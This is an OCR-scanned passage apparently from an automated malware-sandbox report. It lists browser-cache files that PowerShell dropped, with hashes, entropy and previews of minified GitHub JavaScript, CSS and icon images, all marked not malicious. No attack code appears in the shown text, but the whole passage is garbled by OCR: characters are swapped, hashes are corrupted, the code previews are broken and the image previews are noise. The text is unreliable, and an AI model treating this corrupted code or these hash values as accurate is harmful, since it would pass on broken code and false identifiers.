S"May","June”,"July”,"August”,"September","October”,"November","December"];function I(r){return"0${r} .slice(-2)}c(l,"pad");function w(r,e){const t=r.getDay(),n=r.getDate
(),s=r.getMonth(),o=r.getFullYear(),i=r.getHours(),u=r.getMinutes(),m=r.getSeconds();return e.replace(/%([%aAbBcdeHIImMpPSwyYZz])/g,function(C){let g;switch(C[1])
{case"%":return"%";,case"a"return I[t].slice(0,3);case"A":return I[t];case"b":return R[s].slice(0,3);case"B".return R[s];case"c":return r.toString();case"d":return I(n);case"e":r
eturn String(n);case"H":return I(i);case"I":return I(w(r,"%I"));case"l":return String(i===0||i===12712:(i+12)%12);case"m":return I(s+1);case"M".return I(u);case"p":return

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\5388-1dbfldebd575[1].js
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Copyright Joe Security LLC 2022 Page 20 of 342



File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

ASCII text, with very long lines

dropped

16942

5.393764722230518

false
384:182s5z88wfoUmFAGXcQgjrprdixILBUH87MIzTG9qn9PWWS5I8/IwaKqvY4sX:G2sz88wgU3ca/prdi5IP1zZTG9qn9PH5d
69191D8774558B45C71AF6F6289EDCDC

682C73C5FF83108270B35DDBD3393FBC6CD7B3E2
FA7AC62CF0C6352D5CDFCB6B73245F6B65172214F7313D944FA850813C6D6F1B

1DBF1DEBD575D15C640BDDOD5F7CEFS8CDA2F1EAEGFAD1BF45C275EEGA35FES6890001E81CE208DFA011B286F9F0E3F22D39076A4177218887EDE999A46FCC
B24

false
unknown

"use strict";(()=>{var O=Object.defineProperty;var p=(M,N)=>0(M,"name" {value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([[5
388],{13695:(M,N,l)=>{l.d(N{X:()=>v,w:()=>u});/**. * @license. * Copyright (c) 2017 The Polymer Project Authors. All rights reserved.. * This code may only be used under
the BSD style license found at. * http://polymer.github.io/LICENSE.txt. * The complete set of authors may be found at. * http://polymer.github.io/AUTHORS.txt. * The comp
lete set of contributors may be found at. * http://polymer.github.io/ CONTRIBUTORS.txt. * Code distributed by Google as part of the polymer project is also. * subject to an
additional IP rights grant found at. * http:/polymer.github.io/PATENTS.txt. */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=
p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/**. * @license. * Copyright (c) 2017 The Polymer Project

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\5724-640299416084[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

10679

5.343825967169045

false

192:+UtIAOytkOct3dd6vII2098fZ0UW7BNN9cZ+gGréRgutukd+Z4vC7/Y A0vw+w:+5AbtHGtd6vKeSdnNGZ +gGKgutuk4+28
OE88155EFBF951721B1771629EEC97F8

01D9C8800F27D00D34533337AD10CB74D821D0OFA
76E53E205E5042358B0F2C0F35739028CED4B64DA03752A27EA4FEBF9D948430
64029941608473A6ECF4B4903823D15AADF0A910E44311B66CF2FFAS6FAB8FF49EGA9DOF574905FF22821EC91EF265B7672B5D7BDI9F5226F378F1AC29A968CAC
false

unknown

"use strict";(()=>{var ae=Object.defineProperty;var s=(V,T)=>ae(V,"name" {value:T,configurable:!0});(global This.webpackChunk=globalThis.webpackChunk||[]).push([
[5724],{64463:(V,T,B)=>{B.d(T {N7:()=>re});var w=B(8439),M=null,R=null,_=[];function P(e,t){var n=[];function i(){var I=n;n=[],t(l)}s(i,"processBatchQueue");function r(){
for(var I=arguments.length,c=Array(l),x=0;x<l;x++)c[x]=arguments[x];n.push(c),n.length===1&&N(e,i) }return s(r,"scheduleBatchQueue"),r}s(P,"scheduleBatch");function
N(e,t){R||(R=new MutationObserver(L)),M||(M=e.createElement("div"),R.observe(M {attributes:!0})),_.push(t),M.setAttribute("data-twiddle",""+Date.now())}s(N,"scheduleM
acroTask");function L(){var e=_;_=[];for(var t=0;t<e.length;t++)try{e[t]()}catch(n){setTimeout(function(){throw n},0)}}s(L,"handleMutations");var F=new WeakMap,E=new
WeakMap,O=new WeakMap,A=new WeakMap;function a(e,t){for(var n=0;n<t.length;n++){var i=t[n],r=i[0],|=i[1],c=i[2];r===h?(u(c,I),0(c,I)):r===g?d(c,l):r===v&&f(e.observ
ers,)}s(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\7749-832f2a20ce72[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

13169

5.349236123293029

false

384:kKNgFGBO9GCKPhPY Jk+0B4i6YVHVcgTx+t19JfK3LWFHaGOO8wbQM8nzb8:kBCkPhwJk+0BJIvvcQx+tFIK3QHR8wWbhQC
87138BBEE3B1309A31BA43A3FFBDB366

7654DC4DDC550769DCOE824FE328A95C3B2F1610
D10478866E1D3187E12464A1918F54AF57E7510381F52A809991C846241481A8

832F2A20CE72C1F67063DB7AE2A19ADEBODCA962462976B217E0AC52DD28C20869CF67AAICD5F6B4CB5245174EC9B208C2EE9C49C1FF6FCAA45EF48742DEG
AA3

false
unknown

"use strict";(()=>{var V=0bject.defineProperty;var o=(H,F)=>V(H,"name" {value:F,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([[7
749,2245,6136],{59753:(H,F,W)=>{W.d(F {f:()=>i,on:()=>K});function m(){if(!(this instanceof m))return new m;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects=
{},this.indexes=0bject.create(this.indexes),this.activeIndexes=[]}o(m,"SelectorSet");var x=window.document.documentElement,|=x.matches||x.webkitMatchesSelector|
|x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;m.prototype.matchesSelector=function(e,n){return I.call(e,n)},m.prototype.querySelectorAll=functi
on(e,n){return n.querySelectorAll(e)},m.prototype.indexes=[];var L=/"#((?:[\W\u00cO-\uFFFF\-]|\\.)+)/g;m.prototype.indexes.push({name:"ID",selector:o(function(n){var r;if
(r=n.match(L))return r[0].slice(1)},"matchldSelector"),element:o(function(n){if(n.id)return[n.id]},"getElementld")});var z=/\.((?:[\wW\u00cO-\uFFFF\-]|\\.)+)/g;m.prototyp
e.indexes.
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\8646-b11421a6cbd6[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

72401

5.509744958621943

false

1536:HU2+gXhZD9zyLdEFHtIs/gK7P8CAMpokc1:02+gfD9zAYkP8p
F67131C89AD132805F2E5ACE9D5803DB
284C2C18A0D294CDB9456138COACBABE145A262A
8E4814093D957DFD713C4D3450A97A4686B989438D931DEEDA30D6AC6A3191CE
B11421A6CBD6B1A15C792826D18D1A6170C52C42B156D0088E18D8CA022B95D59872F98DICOF656B2D8AB56FE266AD271DA713462EB62EB28847204726C029C
false

unknown

(()=>{var se=Object.defineProperty;var o=(H,0)=>se(H,"name" {value:O,configurable:!0});(global This.webpackChunk=globalThis.webpackChunk]|[]).push([[8646],{52769:
(H,0,M)=>{"use strict";M.d(O,{Al:()=>S,AL:()=>te,CR:()=>I,F6:()=>D,Hl:()=>g,KB:()=>U, TR:()=>f, XR:()=>i,jw:()=>C,mK:()=>Q});function y(m,_){var A,N,$;const K=m.
value.slice(0,(A=m.selectionStart)!==null&&A!==void 0?A:void 0),V=m.value.slice((N=m.selectionEnd)!==null&&N!==void 0?N:void 0);let G=!0;m.contentEditable="true
";try{G=document.execCommand("insertText",!1, )}catch{G=!1}if(m.contentEditable="false",G&&!m.value.slice(0,($=m.selectionStart)!==null&&$!==void 0?$:void 0).en
dsWith()&&(G=!1),!G){try{document.execCommand("ms-beginUndoUnit")}catch{}m.value=K+_+V;try{document.execCommand("ms-endUndoUnit")}catch{}m.dispatchEv
ent(new CustomEvent("change" {bubbles:!0,cancelable:!0}))}}o(y,"insertText");function S(m){m.addEventListener("paste",w)}o(S,"install$4");function f(m){m.remove
EventListener("paste”,w)}o(f,"uninstall$4");functi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\8932-24f1e0ea55c2[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

9538

5.258153030057668

false
192:9Xcjb0JLasvy57+7VH71I+WZQL9ieHIWTU1IwOICImUKJIfbZAuSILmAJvmioFo8E:9XcjsasvbVH71fWZQL9ieHIWTU40lim1
E26B15A1F05A730BC17BDAOEF99BFES1

DADA649922D6CD1551AD9E74A4A5D371BE012F6F
939EB0547B934EC11BDC8CC43049C0FF4C72E61FAAEG693CAGBCE379600AED17D
24F1EOEA55C2FE454C6C0D39568683E56EF7F5F31417F39B689EODAD958B8BDDAES88F7112127D36DC1B1913A6C630A6E451B034E568858F835C82E43B5F5DB:
false

unknown

"use strict";(()=>{var H=Object.defineProperty;var n=(M,R)=>H(M,"name" {value:R,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk]|[]).push([[8
932],{65935:(M,R,$)=>{$.d(R {AC:()=>E,rK:()=>k,uT:()=>f});function S(s,r){const c=s.createElement(“template");return c.innerHTML=r,s.importNode(c.content,!0)}n(
S,"parseHTML");function T(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(T,"serialize");
class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorwWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,rl}n(g,"makeDe
ferred");let m;const v=[],I=[];function f(s){v.push(s)}n(f,"afterRemote");function k(s){l.push(s)}n(k,"beforeRemote");function E(s,r){m||(m=new Map,document.addEventListe
ner("submit",0));const c=m.get(s)||[];m.set(s,[...c,r])}n(E, "remoteForm");function q(s,r{if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q, "remoteUninstall");f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\93-8fdb428884fb[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

10245

5.31294486363784

false

192:nwu9m4sf2eFQ5UXFGUVMs4EVKM1E9ed2rn+PJ83eh5r0UiGpT:nwu9+2e WUfXFIVMs4QKM189n+PJ83ehB
DABAG6D5BB4B511C35CD751A7D3201149

9B241DED929F4D7D3E01DESEED695DE38689E570
78D66494E05C8AB1FE9B2704E8600EAC7A2840C38F162DC70FF4A64A1D493D35

8FDB428884FB87EFBE1E4A3DABO45ECCE7ES83B7DA404195FE937BDCDICB1C66AF11B5100E638B6402600233779BD707BEBSEA06799BD27E58C430BF75447F5
Co

false

unknown
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Preview:

"use strict";(()=>{var K=Object.defineProperty;var u=(W,C)=>K(W,"name" {value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk]|[]).push([[93],
{69753:(W,C,H)=>{H.d(C {f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[] this.selectorObjects={} this.inde
xes=0bject.create(this.indexes),this.activelndexes=[]}u(g,"SelectorSet");var w=window.document.documentElement,q=w.matches||w.webkitMatchesSelector||w
.mozMatchesSelector||w.oMatchesSelector||w.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return g.call(e,r)},g.prototype.querySelectorAll=function(e,r)
{return r.querySelectorAll(e)},g.prototype.indexes=[];var P=/"#((?:[\W\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n
=r.match(P))return n[0].slice(1)},"matchldSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementld")});var j=/"\.((?:[\W\u00cO-\uFFFF\-]|\\.)+)/g;g.prototype.
indexes.push({name:"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\ampinsk[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

JPEG image data, baseline, precision 8, 64x64, frames 3

dropped

1748

7.734805345942093

false
48:Q9YM+UETAK3wGWYsMBP14sdh+15SXT0zUcVurqtKCy:ohBEIAGWS5US+KSXGturl
3E6354F8BA562795BBC07536B19B3D8D
3A9D11F39653485CC84567A93DEF6B1514ABDAF6
66DOESASFE49FF58473DFD92F30DEB236630D5CB30172D051FBE7D45A72E2BEE

3B7D938429D4ADDCE735338A944F 73ABCF9824BAD44BA6F963CD7337D16EBAD24CF7D9ID2781D53108ACFIDIEA347794A0BDIBIF7D64CBFF5B310C7C6F36EE
F4A

false

unknown

. $. " #..(7),01444.'9=82<.342 21.122222222222222222222222222222222222222222222222222.....@.@.
J1A.Qa."q.2...#B...R..$3br........ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...
1..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
EP..7".P.H...JW.W1u....*..PL[.)..D.6.1.OIUK.f.U.Y-"7L.x$dv5>..%.M.)2.3j.....L...iKk..@Q..L....L.@w.
H.nk_Ko.Y.T..d}Li.\.\.+....2.H...5gve<{.KkZ..p..t5~ . {nc. y.q.r.:.

P..g..v.Q$.0..
0S5 Ko X tn\.Q.oee ICe 65\ | B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\apple[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

JPEG image data, baseline, precision 8, 64x64, frames 3

dropped

1338

7.634353970964242

false
24:Q9YMFMOXXxDuLHeOWXG427DAJuLHenX3P6BIQ/FRBHWQ2eRf7+Z6Fm8:Q9YM+UETA567Q/Ff/zA6p
A4ES5E6BA34FDFDC2C72C6BE982A20181

879A81477COAF04103EF3900BC830A10039B5327
BOABE13AEAC36AF77FF64785E4EE75D70BC239FC14C87631355079ABB6F1817A

972211CE7BCOFB1DFOBA77EDBB3EOE6921785CF8A809EFA3DEEI377F578A8869520390490D0BBBF58C3FD818CDEICEG7FF6CCFA6A251D683F03F5D29EESBY!
B4

false

unknown

&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....
2o =Y. 1.0.3.}.._.<I.GI.E.; .c.H8<0.)\...0.. {K5..... X A.z.d. { . W...
S..X.7..R\.....I.KHO.S/.+...BH.i.|cgr.........8.).~9.0.0.h..2.i.:10....._.2.

().
N LoF%. 8N (U.BJ. P X M p X (> 8. TP M-REP. |G P 5> ..
=2...RH...... 3X2.tKLL=.M..XJ".3.0R{..| F....>G.X..V..f..y......9..B..C..91

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\behaviors-blbd0e37a9b4[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

246553

5.254403716192871

false
3072:EZNE/CvmRTDU3LKKkWzI0ptVnPiINOSGYqUXBWe9eZd:mE/CvmRTDglgOp+NVQURW?2ad
FCCF487ACB48386C13F492759A453954

65ECC7C37B3EBD8657F858E68C6B0988912E5D8A
42687794E8D8B51F55C7AE7D452CCEE2EOACBSDCAE74E9F1E7D464811DDDEO5S2
B1BDOE37A9B415A2DC82FASFFES31325F43472CFA41AEA7D1DA4DEY547FD1FA750D6273F831A77C960E43AF4D8F70F88C024A032127B6748067F495659D7B5D
false

unknown
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Preview: (()=>{var Jd=Object.defineProperty;var i=(B,x)=>Jd(B,"name" ,{value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk]|[]).push([[1436],{48776:
(B,x,u)=>{"use strict";var w=u(47142);const T=i((e,t,n)=>{if(!(0,w.CD)(e,t))return-1/0;const 0=(0,w.Gs)(e,t);return o<n?-1/0:0},"getScore"),P=i((e,t,n)=>{e.innerHTML="";let
0=0;for(const s of(0,w.m7)(t,n)){n.slice(o,s)! &&e.appendChild(document.create TextNode(n.slice(o,s))),0=s+1;const a=document.createElement("mark");a.text
Content=n[s],e.appendChild(a)}e.appendChild(document.create TextNode(n.slice(0)))},"highlightElement"),M=new WeakMap,y=new WeakMap,m=new WeakMap,b=i(e=>
{if(!'m.has(e)&&e instanceof HTMLElement){const t=(e.getAttribute("data-value")||e.textContent||"").trim();return m.set(e,t),t}return m.get(e)||""},"getTextCache");class h
extends HTMLElement{connectedCallback(){const t=this.querySelector("ul");if(!t)return;const n=new Set(t.querySelectorAll("li")),o=this.querySelector("input");o instanceof
HTMLInputElement&

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\element-registry-d86468692d21[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 5350

Entropy (8bit):  5.1110497391789

Encrypted: false

SSDEEP: 96:KSc/fbuyvESCQ5mE4qge5pJozz3WCP1loVdiW:KScVMUQh45UuaG1llovd

MD5: D68B22D7911E74D35764AC9F6D9A2A37

SHA1L: 581466774CB76B9F7D82DB32D74629B96B5C54CD

SHA-256: O0F41A49FF4207A194FB356D6732C27504265896647D36E2015AEFFF07B947B7B

SHA-512: D86468692D21CE9669C2022D4ECFCCB5AA9A81FBOFBD424CB647DACB2B795B0F09D58859BE164049260945010E3EDBID5DE68464F6A53C0BB4D99894D2C42/
4E

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var x=Object.defineProperty;var h=(d,m)=>x(d,"name" {value:m,configurable:!0});(global This.webpackChunk=global This.webpackChunk||[]).push([[877],

{77401:(d,m,n)=>{const o=new Map,f=new WeakMap;function P(s=document.body){cancelAnimationFrame(f.get(s)||0),f.set(s,requestAnimationFrame(()=>{for(const | of
o.keys())if(customElements.get(l)||s.querySelector(l)||s.matches(l)){for(const g of o.get()||[])a();0.delete(l),f.delete(s)}}))}h(P,"scan");let y=!1;function v(){if(P(),y)retur
n;y=!10,new MutationObserver(I=>{if(!!0.size)for(const g of l)for(const j of g.addedNodes)j instanceof Element&&P(j)}).observe(document,{subtree:!0,childList:!0})}h(v,"pre

pare");function t(s,l){o.has(s)||o.set(s,[]),0.get(s).push(()=>requestAnimationFrame(l)),document.readyState==="interactive"||document.readyState==="complete"?v
():document.addEventListener("DOMContentLoaded",v,{fonce:!0})}h(t,"whenSeen") t("auto-playable”,()=>n.e(475).then(n.bind(n,40475))),t("launch-code",()=>n.e(4609)
.then(n.bi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\environment-bec046a69997[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 19643

Entropy (8bit):  5.447925894753712

Encrypted: false

SSDEEP: 384:LImLIYhecfMsBryA+IpTKw+9wliq1E3nVxkZ9yZBebHYH6UwaBDIxvRSKIMB:NLIY/by9xwewau3ncXyZBebHYH6UwaBt

MD5: E9DOFAAD7B561A2838DBBDF897011ECE

SHA1L: B85E91AEF9A3E2DE9701280AE61DD8066B49FC38

SHA-256: 6009960A422F9E0178BAAS3F5E55EC97998287D9E4AATAOD6570CC737E3967B3

SHA-512: BEC046A699972048CB52D39BE9EFEA3BE74480379EAEBBD0044AAC5519875CD8ES8FIAEDDCE482E615CEF1592465E86ADF21CBEO6FA9B0140DFC138BA72BE6
06B

Malicious: false

Reputation: unknown

Preview: (()=>{var ee=Object.defineProperty;var e=(l,r)=>ee(l,"name" ,{value:r,configurable:!0});(global This.webpackChunk=global This.webpackChunk]|[]).push([[1625],{31650:

(I,r,)=>{"use strict";var a=1(26360);window.addEventListener(“error",a.LN),window.addEventListener("unhandledrejection”,a.mT),window.location.hash==="#b00m"&&
setTimeout(()=>{throw new Error("b00m")});var h=1(30523);function c(){const o=document.createElement("div");return o.style.cssText="-ms-user-select: element; user-
select: contain;",0.style.getPropertyValue("-ms-user-select")==="element"||0.style.getPropertyValue("-ms-user-select")==="contain"||0.style.getPropertyValue("user-sele
ct")==="contain"}e(c,"supportsUserSelectContain");function g(o){if(!(o.target instanceof Element))return;const p=o.target.closest(".user-select-contain");if(!p)return;const
v=window.getSelection();if('v.rangeCount)return;const _=v.getRangeAt(0).commonAncestorContainer;p.contains(_)||v.selectAllChildren(p)}e(g,"handleUserSelectCo

ntain"),window.getSe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\facebook[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 64 x 64, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 1918

Entropy (8bit): 7.862466164374802

Encrypted: false

SSDEEP: 48:loRthouRRwdY ujEXFKpkXRhwWHzuxKgGdCaZcBVMzPQK8F:xhHwdYUEXkpu/tguC6cBVwWPm
MD5: DDFF718FD9F322D04EF13BA3A16C6FDB

SHAL: 284B3383BC387767941DDC7F3CDODC652EAC6D75

SHA-256: 8D76E81CBFIC3DAF41CBA2745B6C8751B6157616DC8D8EE215D93E9AB2CB53D2

Copyright Joe Security LLC 2022 Page 24 of 342



SHA-512: 95660401703A1EC3943ACDEOCBC6D430492432A7F90F9FBBBEE98006937396FEDC848DA5D1D6E31E646EA3SFCOD17CD1999358ACAC33AF2B3299A55AC8BALE(

34
Malicious: false
Reputation: unknown

Preview: .PNG

}2,s."...h.l...1.}]c...HOSNr
..fx....6..Ee...s.c.cO..|.GN*Q..2....... s
@8."...X. ..Z5..Jma...’r.OK

WAL

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\flutter[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 1439

Entropy (8bit):  7.802928488108924

Encrypted: false

SSDEEP: 24:tviB3mEigOSMWwvEBTOIt+8u0mOK300IVC+2L5qfNKIUHOg6sgMpz2wTwiwQcm7k:9mHigvwy8uTOZ0OTC+2YowsqM8FiwQgN

MD5: 3B90E77A3E8E8A4645D608D641B6D5CB

SHAL: C99C3D0454D321C4F6E2630C7F719DABE5S7C1153

SHA-256: 8A5BBF5BAIB33A62717B42F887AB574289046623ECEAB28A909AB7B3097F67A2

SHA-512: 9EOFD7E964808759257EEC50E626124A1FF672A4A41DOEE9F583BA673AB7C4F6CT713FE9362C4E88065E693AC072C3D91698CAOB32CA79267AF9668E707C6FCL

Malicious: false

Reputation: unknown

Preview: PNG........ IHDR...@...@......iq....fIDATX..mL[....m)...A.....1....&...e.’0.D113q[6./]...L.i....... 83..#,...p....B.-..ZVZs.....[0..7............ L2jo@m.. . #....y...&z...). ] ....... S
g."....R<...2.Z.....5=@.+.W.....U"O.XhA......... #...=VU....Y-..=Z jj.F..e.x.0.Bi........-f.PT.GCl.Z.<..d.V.....x4dm....... hih'"@..GC..r.T..r|4..z.B.H..h...% ..>.3

R .. R x4x.H....Y.R.gJ..SrE..|c.;3..x.8.P*.L..-.uW..0..+.]..m...p..7...<s..*e...\.+.H,n..rv.J>ij6.6...F|.9...0~.Z.. #..*. #a..f.[.].0.5.-...Us........ h?Q.<....0..g... T.8w.f.W....t.u.
[=..0Z.8.9._ZK]...... FA8....+/x.]Jw;Z:9H...L..Z.Qs...;.<... . .f.VP.[I{M. @ .= ... A Xeoereeree H.x4.@8.W$..@.._->53?.u.<..~..WZ.#."..1.Z<..
e W.- 1.952\6m... J.RML.R.|4.[..+.9...Q...5r..<.DK.2.h." V.qeE...ul...,7C..=#....\p.=}~Q...l...s.p.,.<.;.m~..17.MX.,:....nN..)..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\gatsbyjs[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 3411

Entropy (8bit): 7.942214381021585

Encrypted: false

SSDEEP: 96:PVpi0YaU7KWQq+TU5GEShdTvW+gnb7JpFgFtF3:PVLYEWQq+TsShVWib7J7ct5

MD5: 21AECBD27860B3FEF7EC473AD9B06A1B

SHA1L: 72EE7045D649AE4DOCCD095ADE439115C9810440

SHA-256: 8455EDD4726C98D02A0DF1573C62257A60357BA6C0A9465B5BF2EAD78FFDOBAD

SHA-512: 16DFD2798F64996FB2E37E6F3240CCF1F46B28EAOF67DEDOEF541287F894E3502D2F00A6CC0052AA04F2300396DEA7SABCCDEDDB3449AE9CE2EDB56D79264(
5E

Malicious: false

Reputation: unknown

Preview: PNG........ IHDR...@...@...... i ..2.9.?2.E..&Q.az.4i477;..... wv@...$/.2....ez..n.L...U.

.M. =Pw..$u]..*d..z.58]E . 2V.{£.9<g.kV.V.) W.~.3..q(9]..l..).9kGy.,D..C(.....t"....S.d...4..&+.2....wh.5.b.
o= UL RL2TA TN C(IB@...$.0q{ B (N (A 61Q>.....1$.."t.G.. [KZ. b#AT.A.......... (loioem Y9221
S ({IEY9 i AT 2T F>HI[...<9/...%...0..2.6..N..~.6..54+.....3.ZR.9, ZH.Y .25.-.59...=.2>.0...ccc.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\github-5661da47685a[1].css

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: UTF-8 Unicode text, with very long lines

Category: dropped

Size (bytes): 233637

Entropy (8bit): 4.9597358450329985

Encrypted: false

SSDEEP: 1536:B1RMGO0/Ikkex5W8uXWGD+ykrin4plCyNHJIWODsglwnzg4+QjKo:kG3/BkeFin4plCyNp7DIlwnzq4+QP

MD5: 4C26B68994BFAB35A74190063FCDA1B3

SHAL: 73AC1B6992DF33961157303D7137A2E4099A326F

SHA-256: 2CFCDE613843451621C3253202EEFE79C0625C877FC77CAB881D1BAF9F8D52FC

SHA-512: 5661DA47685AD2BE96204B4007915FE715CAEA77519C7EA219287F1DED28137C019D26B10BF597B2016243084160C38103A95C71623BF1F2532900CEC2A2A8C6
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Malicious: false
Reputation: unknown

Preview: .min-height-ful{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size: 16px;line-height:1.5;text-align:center;bo
rder-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-
section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--
color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{posi
tion:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-t
op:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .oct

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\github-elements-29d8293f1694[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 643

Entropy (8bit):  5.600917273619956

Encrypted: false

SSDEEP: 12:HJeKc5YJUHTPjvpdpr/uRdMYXYf94mPf6vR7g4DBz31vBAU/a566aKHIO:wz5Y JUz7vpLAMwk94NVRU4uU/6i0

MD5: 977BD6COBAEB75D845E5AC3503124D54

SHA1L: BOBE94555141B0961EA105187DF96CC11EE3B3E6

SHA-256: 29982507C2EEFBBF20F4017FA84FBC8ACA0422067B87F5A342C623A3DCA45055

SHA-512: 29D8293F169450696BF8C6A6297F4DBD6AD7DE6G0F4DFF2CFBCA17CC9EB5DD790DB0A96952479EDAE13595EA9C14BD8AF89AASC751F65EFE4E3410E58BED29
349

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var O=Object.defineProperty;var |=(t,e)=>0(t,"name" {value:e,configurable:!0});(global This.webpackChunk=globalThis.webpackChunk(||[]).push([[7139],

